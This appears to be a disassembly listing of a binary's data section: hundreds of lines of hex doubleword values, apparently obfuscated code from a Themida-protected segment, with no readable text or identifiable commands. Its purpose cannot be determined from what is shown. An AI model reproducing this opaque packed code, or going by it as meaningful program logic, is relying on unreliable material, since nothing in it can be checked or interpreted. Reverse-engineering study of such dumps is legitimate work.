		dd 8850FF2h, 56000000h,	8C0Fh, 0F95F0000h, 0E56B85C7h
		dd 1060Ah, 0BD310000h, 6071C25h, 5E9h, 0C5961F00h, 30E9FBD4h
		dd 66000000h, 0C7D138BEh, 0AE56B85h, 6,	56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 81B58BA4h, 8D06071Eh, 7013D9Dh, 0DA4BE06h, 23817504h
		dd 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	62C35141h, 0A19529C1h, 6606070Ah, 6ADB8Ch, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 1A92D0C3h, 0BD8B9E62h, 6072E3Dh, 0F04C3F6h, 7F84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0A301BB45h, 0CE85EB34h, 8B66FE8Bh, 6195FFF8h, 6A060718h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 5DACC356h, 718E4E7Ah, 2EA4293h, 0C19529h
		dd 50900607h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0F460C5DAh, 0DABB2858h, 372E9h, 5EF55300h
		dd 6A00B0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0E9B68BC3h, 0Fh, 0BE00ECE3h, 8A23C21h, 40130599h
		dd 0E6266007h, 71E4F570h, 20F5B58Bh, 0B60F0607h, 68F0FD8h
		dd 89000000h, 72E49BDh,	6BA06h,	85890000h, 607030Dh, 6AC38Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 341793C3h, 6A04E8C1h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0A13AC350h,	0BF6654B2h
		dd 0F766FAACh, 56006AE2h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0BD4BA613h, 6810FF9h
		dd 31000000h, 7149D8Dh,	6AD82B06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 3704C350h
		dd 0CC146BE3h, 8BF77DAFh, 858960F7h, 6071B85h, 28D0Fh
		dd 59560000h, 830F5061h, 4, 0AB7FBF66h,	23241C89h, 70F91B5h
		dd 15B5FF06h, 6A060718h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 6ABAC356h, 7CFBB5Bh
		dd 60386A99h, 0FF61DA8Bh, 71B6995h, 0BE806h, 807C0000h
		dd 1B53BFF1h, 0B6D34D05h, 0B05E0Dh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 53C35141h, 93E758C9h, 9B58978h
		dd 0E6060700h, 0FDB58B70h, 0E406072Fh, 8DBD8B71h, 3C060731h
		dd 0D0830F61h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 6865C356h, 0BB19589h
		dd 0F38B0607h, 8BD8B60Fh, 70125BDh, 6BA06h, 0C38B0000h
		dd 30A98509h, 0E8C10607h, 10BF6604h, 0E2F76630h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0E6C35141h, 0B58B42CBh
		dd 6071FC5h, 0B58BD82Bh, 60721B5h, 0E8C0F58h, 60000000h
		dd 4619589h, 95890607h,	6071995h, 0FD82B61h, 14288h, 89BD8B00h
		dd 0B9060712h, 7, 6A00C183h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0C758C350h,	744CDDDFh
		dd 0C42A9AC5h, 83F68166h, 150CBE8Fh, 0D93B516Ch, 0FD860Fh
		dd 9D010000h, 6071969h,	42DBD8Bh, 8C660607h, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 97312284h, 0C1F63C23h, 9F840F04h, 29000000h,	70E219Dh
		dd 6195FF06h, 6A060718h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0A251C351h,	2D39BD8Bh
		dd 81660607h, 5BDFE9CEh, 2F7DB533h, 8E90607h, 8B000000h
		dd 90737A60h, 2BE28784h, 3DF88BC3h, 834h, 48860Fh, 0E7810000h
		dd 1797CCD7h, 62E9h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0F255D9A1h, 7777C908h
		dd 8D0F37E5h, 12h, 6E8h, 0EDC5D900h, 89D6D9D0h,	715718Dh
		dd 0C08B5E06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	2EC35747h, 599589FFh, 8B060700h, 6AD88BC3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 6EDC351h, 1821BD8Bh,	85C70607h, 6072CD5h, 513D291Bh
		dd 0A22D681h, 0C08B768Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 6C35545h, 0E5131816h,	1815BD81h, 7D00607h
		dd 850F0000h, 59h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 48C35343h, 3E7FD5EDh,	0B1E5A157h, 0F28B6681h
		dd 181585FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 184759C3h, 0D698B16Ah, 23563420h
		dd 71051BDh, 15B5FF06h,	6A060718h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 1B33C355h
		dd 0CE816625h, 95FFBD55h, 6071B69h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 92C35646h, 0F98BF11Ch, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 56006A6Ah, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 6E14BD4Bh, 0F862340Ch, 0B11BD8Bh, 8D090607h
		dd 6072029h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	8AC35242h, 400E4DCEh, 81216A68h, 0DE6509CFh, 20BE6600h
		dd 5E839h, 1D990000h, 31F653ACh, 70BA585h, 0BD8B5E06h
		dd 60720BDh, 0EA5BD8Bh,	6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0B1D5D7C3h, 7AF66191h
		dd 0BE8h, 0DC483E00h, 0D76E6199h, 9337349Fh, 1465BD8Bh
		dd 0BD890607h, 60719D1h, 0C58D895Eh, 6A060711h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0BEF0C350h, 8B66F091h, 52006AFEh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 5ADEC6E8h
		dd 0B7AA46FDh, 0BD896506h, 6070A11h, 0AE8h, 96F80400h
		dd 6D1FDDD8h, 5EFF63A1h, 0FFF85AE9h, 0C98D89FFh, 8B06072Ch
		dd 56006AC1h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 89AA1FA4h, 726518Dh, 4EB06h, 0F000000h
		dd 687h, 89E68100h, 0E937E074h,	8, 0D734FF54h, 0AB2C715h
		dd 2C61858Dh, 6A0607h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 59CEDEC3h, 8D89F1FAh
		dd 6070DE9h, 59BF6650h,	24048973h, 18ADB589h, 6A0607h
		dd 11E9h, 76EE0000h, 4F90840Bh,	7265EB54h, 0BFC079C9h
		dd 6AD828h, 0CE9h, 0E6BC8400h, 0AB6F6F5h, 4F519E44h, 8A858D0Fh
		dd 8B060AF0h, 71035B5h,	5C08306h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 9EC35040h, 76AACFC8h, 0C1B529EFh
		dd 50060731h, 310F5250h, 489585Ah, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 66A80EE5h
		dd 6AF88Bh, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ch,	22C35242h, 7E6B9DE7h, 0A7308903h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0E4703FC3h, 0A2D8C542h, 0B58B1DCCh, 60715E5h, 133595FFh
		dd 8B660607h, 9D9D8DF1h, 6A060A93h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 660EC350h
		dd 0D3FFF78Bh, 2C8985FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 39444BC3h, 6D9AC61Ch
		dd 6004732Eh, 205B589h,	0BD290607h, 6070A95h, 0A1B50361h
		dd 0E906070Ah, 874h, 0E8h, 0ED815D00h, 60AF094h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 89C35646h, 991FE9E5h
		dd 5D18B0D2h, 86325BBEh, 15BD8115h, 0D0060718h,	0F000007h
		dd 12286h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0BD8960B4h, 6070B7Dh, 3339BD8Bh
		dd 8B610607h, 714F19Dh,	42CF8106h, 811D4284h, 100E3h, 0B58B5100h
		dd 60711C9h, 0FDB0B5Eh,	6285h, 0C3BF6600h, 0E6BD83D7h
		dd 60AEEh, 32840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 190424h, 55450000h, 8A5876C3h, 8B0EFB65h
		dd 71FD9BDh, 54E906h, 0B5890000h, 6073141h, 0EEE685C7h
		dd 1060Ah, 0F18B0000h, 3DE9h, 8810F00h,	51000000h, 282DBD89h
		dd 0C75F0607h, 0AEEE685h, 6, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 3F629591h
		dd 3F25E4Ch, 9D8D2F9Dh,	60714F1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 25C35747h, 6E9796D1h, 5555BA6Dh
		dd 0FF2381E6h, 0E9FFFFFEh, 0Ch,	205067A6h, 92DF56EEh, 5049CABFh
		dd 66F9BF0Fh, 66BFDB8Ch, 0F627800Ah, 840F04C3h,	7Eh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 37C35343h, 0CE853h
		dd 35630000h, 0FF910797h, 0DE5AB9ABh, 0F08BAE06h, 8B665F5Fh
		dd 6195FFF0h, 8B060718h, 70265BDh, 4895006h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0A8383968h, 0EE8h, 0C5EC7600h, 79B36AC2h, 0D17227Ah
		dd 33F845C4h, 71581BDh,	84E95E06h, 0FC000004h, 6A00B0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 4704CAC3h, 3E50B9Dh,	7E9h, 0E211C200h, 1B9D17B2h, 6A70E6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0E0BD3FC3h, 81318C0Fh, 0EB282AF7h, 5171E464h, 5EFA8B66h
		dd 6AD8B60Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 1B57C355h, 1BA34E09h, 0BAFA8B75h
		dd 6, 6AC38BF5h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 1350C353h, 662085FDh, 523DDDBFh
		dd 4E8C15Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	9AC35646h, 29B83E26h, 60457F82h, 8E8h, 0C1043C00h
		dd 0E523CE08h, 29B589ABh, 5B060721h, 2CED958Bh,	8B610607h
		dd 7099DB5h, 0E2F76606h, 1E4DBD2Bh, 0D82B0607h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FC35545h, 8E5BEF0Bh
		dd 50819EF4h, 89F98B66h, 6A241Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 1F7E4FC3h, 0C8F6CFC4h
		dd 1815B5FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 7D3EE5C3h, 1B6995FFh, 6A0607h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0B0B8D7C3h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 45EA57E1h, 6A70E60Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0B76C352h, 544F9084h, 0FE8EBh, 0F43F0000h
		dd 4E20F059h, 0CF239854h, 6FE9D5DFh, 28D0FD8h, 8B000000h
		dd 71E45FFEh, 0F613CF9h, 27A83h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0A5EC56FDh
		dd 69EBA836h, 0BE91Bh, 0CBAD0000h, 6479B583h, 3BB4E20Bh
		dd 0D8B60F41h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	65C35646h, 15BD8BC4h, 6606072Fh, 4B49C681h, 6BAh
		dd 0BD8B5600h, 607185Dh, 8595895Fh, 8B06072Dh, 55006AC3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0FA63C6E7h, 308B73C3h, 8BFC4FC9h, 4E8C1FEh, 0F766F18Bh
		dd 68F0FE2h, 29000000h,	716399Dh, 81D82B06h, 1322CFDEh
		dd 0FAB70F44h, 0DE858h,	0A6200000h, 8B6D40Ah, 18324B2Dh
		dd 6665116Fh, 0A34FDF81h, 0FD82B5Eh, 19E88h, 85BD2900h
		dd 0B9060700h, 7, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		db 17h
byte_57B1E9	db 3 dup(0)		; DATA XREF: Themida_:0054A004o
		dd 95C35545h, 83FE7ECCh, 6A00C1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 4BF174C3h, 0D93BB106h
		dd 149860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 686D84C3h, 68D0Fh, 0F6810000h, 2696F1E8h
		dd 6AD98C66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 56CDC351h, 31618D01h, 895F0607h
		dd 71A69BDh, 4C1F606h, 0C2840Fh, 8D090000h, 6071FF1h, 6D19D89h
		dd 95FF0607h, 6071861h,	3065BD89h, 6A5B0607h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 2565C351h, 5175CA23h, 2BBAC554h, 52006AC3h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 6BD1809Ch
		dd 21958952h, 3D06071Ah, 834h, 52860Fh,	6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0B58BBDC3h, 607051Dh, 6890Fh, 0EE810000h, 652F9021h
		dd 46E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 55C17B0Ch, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0C5ACAFC3h
		dd 3D6D0382h, 8B24A004h, 6AD88BC3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0D6BEC350h
		dd 5648683Eh, 81664281h, 0E99A90F6h, 7,	99B38AD6h, 0C70C0A8Eh
		dd 7013D85h, 0E41B1D06h, 50006A34h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0BD3E672h, 70D19BDh, 48B1BE06h
		dd 0C08B26F8h, 0EADB58Bh, 0BD810607h, 6071815h,	7D0h, 16850Fh
		dd 8BF80000h, 72EFDB5h,	1585FF06h, 89060718h, 70569B5h
		dd 0F7BF0F06h, 1815B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 1508EC3h, 68ABF06Ah
		dd 2DBD032Fh, 0FF06070Eh, 71B6995h, 66605106h, 5E61C68Bh
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 395BE0C9h, 0A850Fh, 0BE660000h, 85093CB5h
		dd 6070EE9h, 198F0Fh, 70BE0000h, 0E972180Bh, 0Fh, 0D97A06A2h
		dd 5ED9C838h, 0A6A076B5h, 8B8CE38Ah, 70BE5B5h, 0F98B6606h
		dd 5B9BD8Bh, 0B58B0607h, 6071289h, 0E8F7B70Fh, 13h, 2840CE07h
		dd 5E7E2CF3h, 70C2F4Ch,	0FAA2864Ch, 8BA3C9ECh, 70035B5h
		dd 6AF95F06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0EFF8C353h, 54F40CAEh,	0B529DE3Eh
		dd 60714A1h, 0C018589h,	6E80607h, 0A000000h, 0BFD9175h
		dd 21858985h, 5E060710h, 6AF9BF0Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0B344C353h
		dd 0F53D2493h, 9D89487Bh, 60711E5h, 3009B58Bh, 6A0607h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 749F17C3h, 0FFF78FE9h, 0F7B70FFFh, 6AC18Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 444E10C3h, 0CE8D6692h, 112389BFh, 0C5BD8B1Dh, 23060705h
		dd 7065DB5h, 4EB06h, 60000000h,	0B948D781h, 0B58B02D2h
		dd 60718ADh, 0D9BD0361h, 8D060721h, 72C6185h, 0E950FC06h
		dd 12h,	4987B153h, 414CB8EBh, 2E607F77h, 0A67D2C48h, 4898E8Dh
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 79776B34h, 6A5BB6h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0BC477DC3h
		dd 0E781665Bh, 858DBAACh, 60AFAD8h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 54C35747h, 0D22A40C0h, 6B108923h
		dd 0EFEBCE81h, 0F6813CF4h, 3468BFCCh, 0BF05C083h, 485D4387h
		dd 0F08B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 263C351h, 1006AB3h
		dd 7115985h, 6A006A06h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 78F2C353h, 608BC312h
		dd 1B65BD03h, 95FF0607h, 6071335h, 9D9D8DF9h, 6A060A93h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0A76DC355h, 6E9AC89h, 54000000h, 3EE50CF5h
		dd 6AD3FF7Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 6D54C356h, 0A3D09778h,	858919B5h
		dd 6072681h, 2C8985FFh,	6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0F5BD72C3h, 7EFE9FBh
		dd 0E80000h, 5D000000h,	0FAE2ED81h, 0BE66060Ah,	0BD811211h
		dd 6071815h, 7D0h, 117860Fh, 0BB600000h, 48EEEE66h, 61D88B66h
		dd 13519D8Bh, 81520607h, 0C75A24C7h, 0E3815E7Bh, 100h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E4C35747h
		dd 8B576DCDh, 70691BDh,	3FBE6606h, 0FDB0BCEh, 7185h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0D978B68h, 1FC1B589h, 0BD830607h, 60AF93Ah, 1E840F00h
		dd 0B000000h, 73209B5h,	81666006h, 6160BFCAh, 3FE9h, 6880F00h
		dd 29000000h, 72C3595h,	3A85C706h, 1060AF9h, 56000000h
		dd 2975BD89h, 0E95E0607h, 1Ch, 28F0F53h, 60000000h, 85C75F61h
		dd 60AF93Ah, 0
		dd 69B58B53h, 5E06071Ah, 13519D8Dh, 6A0607h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 4BAB41C3h
		dd 94F68166h, 5E823h, 0B4590000h, 2957C9A8h, 712E5BDh
		dd 23815F06h, 0FFFFFEFFh, 982622BFh, 0DB8C6667h, 1B3D8509h
		dd 95090607h, 60723EDh,	0F04C3F6h, 7B84h, 0DB58900h, 0FF06070Fh
		dd 7186195h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0E98A8D6Ah, 14h, 0E013A5F3h, 0C081E405h
		dd 95AF3477h, 54DBF690h, 4F45B5D7h, 24048950h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0DCC35040h, 433ED375h
		dd 0D781B526h, 3B8D7693h, 820Fh, 8D010000h, 60721A9h, 41DE9h
		dd 0B0F08B00h, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0DD5CF6ABh, 0E49939BBh
		dd 6670E6E5h, 0E48003BEh, 50006A71h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0C30B13B6h
		dd 0BD8BA2D2h, 6072125h, 327DB531h, 0B60F0607h,	59B523D8h
		dd 0BA060704h, 6, 365B58Bh, 0C38B0607h,	16758589h, 0E8C10607h
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 2B351FF5h, 6AE2F766h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0F6CC351h
		dd 2B013D58h, 0FD8D89D8h, 93060701h, 6E8h, 0AF92000h, 5F73CB3Dh
		dd 0AFBE6050h, 5742FA9Ah, 35F7BA66h, 6A936159h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0F0DCC355h, 0BD8B41CDh, 6073065h, 9D315360h,	6071B95h
		dd 0BE958h, 9E1B0000h, 0FA6DAEFEh, 0BD6EE7ADh, 0B5FF6199h
		dd 6071815h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0F5C35141h, 8870Fh, 89530000h, 70CA58Dh, 95FF5F06h
		dd 6071B69h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	3BC35141h, 0B685E3F9h, 8CA18C1Fh, 0B2EF8166h, 0E900B0BEh
		dd 7, 1C2FDC16h, 0E69221FCh, 0BD8BFC70h, 6071165h, 8E871E4h
		dd 0EE000000h, 0CEE0F697h, 0F226ACBh, 28Dh, 5EF98B00h
		dd 830F613Ch, 266h, 0B60FF08Bh,	56006AD8h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0F3168316h
		dd 0BAF50A42h, 6, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	8EC35747h, 7A21545Dh, 1A4E4E3Ah, 659B58Bh, 0C38B0607h
		dd 0EE9h, 5768C300h, 0C75B165Bh, 98977028h, 0C1C63E0Ch
		dd 6A04E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 922C07C3h, 6EE40C3Eh, 9D89C7DCh, 6072F3Dh
		dd 245BD8Bh, 0F7660607h, 50006AE2h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0E7B292F8h, 2B37A02Dh
		dd 399589D8h, 58060733h, 0B2E68166h, 0F9B5334Eh, 2B06070Dh
		dd 87880FD8h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0BCA2C353h,	55B58BE4h
		dd 0B906072Fh, 7, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	7CC35242h, 0AB05A1F7h, 31628A6Fh, 71C9D8Dh, 0C18306h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F6C35343h
		dd 140D6779h, 0F7819E3Eh, 140C30FEh, 860FD93Bh,	102h, 27F5B52Bh
		dd 8C660607h, 49B58BD9h, 0F606070Bh, 840F04C1h,	0C5h, 2001B589h
		dd 95FF0607h, 6071861h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 45C35343h, 0ACADB1D9h, 66ACCC43h, 881CE681h
		dd 55006A5Bh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 840F3902h, 6, 0B030CF81h, 9E924A9h, 0AE000000h
		dd 72BC90BBh, 30A108DAh, 0BF0FC32Bh, 8343DF0h, 860F0000h
		dd 49h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h
		dd 6EC35141h, 8B66ED98h, 48E9FAh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 60E99CC3h
		dd 0FA1E5DE8h, 6AC08B70h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0ED68C356h,	1799BD8Bh
		dd 0C38B0607h, 8589D88Bh, 6070B4Dh, 14F185C7h, 4D910607h
		dd 8B603BBCh, 71149B5h,	0BE906h, 0BB800000h, 758B56B2h
		dd 0D18EEE28h, 0C08B61C9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 81C35545h, 19880F29h,	0E9000000h, 14h
		dd 59824B5Dh, 2895586h,	0D977CB51h, 0EC9182D3h,	28D55C2Eh
		dd 1815BD81h, 7D00607h,	850F0000h, 31h,	17A18D89h, 85FF0607h
		dd 6071815h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	1DC35040h, 0DCCB2C9h, 0B7910F1Bh, 15B5FFF5h, 6A060718h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8BDEC350h, 72119BDh, 6995FF06h, 9006071Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1DC35747h
		dd 8166D07Bh, 0FCBB34CEh, 6A5F53FCh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 6A90C353h
		dd 0BAD76379h, 0EE81AE77h, 292855ECh, 14E9h, 9E39D00h
		dd 0B87B8586h, 0AC6FBDFCh, 6FF33985h, 1BBB4702h, 819D892Dh
		dd 66060730h, 9537D681h, 1E25B589h, 6A0607h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CAD94CC3h
		dd 0C8BF0F60h, 2C1B58Bh, 8C0F0607h, 6, 1645B589h, 66610607h
		dd 6A3E31BEh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 2AD3C353h, 2A074A83h, 0B94871BEh
		dd 850F505Eh, 6, 800Fh,	6A5E0000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 57F6C353h
		dd 0E5A860A9h, 0E904E382h, 0FFFFF82Ah, 0EE9h, 9D42CC00h
		dd 228DF298h, 9C91D2A0h, 1E860E9h, 70619BDh, 6AC18B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 23A0C351h, 0FAF1D597h, 0BD0B4E59h, 6071375h
		dd 68E0F60h, 89000000h,	71219B5h, 959D3106h, 6106070Eh
		dd 4EBh, 0B5890000h, 6073155h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0BC35141h, 0D1B54B3Eh, 77337646h
		dd 2C61858Dh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 3B77EDC3h, 90F3BF0Fh, 50F38B66h
		dd 28B0F90h, 8B000000h,	66006AFEh, 0FAB8EF81h, 89006AF8h
		dd 706319Dh, 47858D06h,	29060B04h, 7321195h, 5C08306h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 46C35242h
		dd 0E1D3304h, 50DCE990h, 769BE6BEh, 24048975h, 0E15AF781h
		dd 6A650Ch, 1281BD89h
		dd 6A0607h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 16h,	3DC35545h, 0B589307Bh, 6071331h, 133595FFh, 6A0607h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 9D8D9AC3h, 60A939Dh,	2F99D89h, 0D3FF0607h, 0FFF6BF0Fh
		dd 72C8985h, 14E85206h,	32000000h, 0E13AEF04h, 0FB20231Bh
		dd 29052FBBh, 0B1EE9535h, 0FC56554h, 5F5FFAB7h,	929E9h
		dd 0E800h, 815D0000h, 0B0451EDh, 51006A06h, 3E8h, 0C3592000h
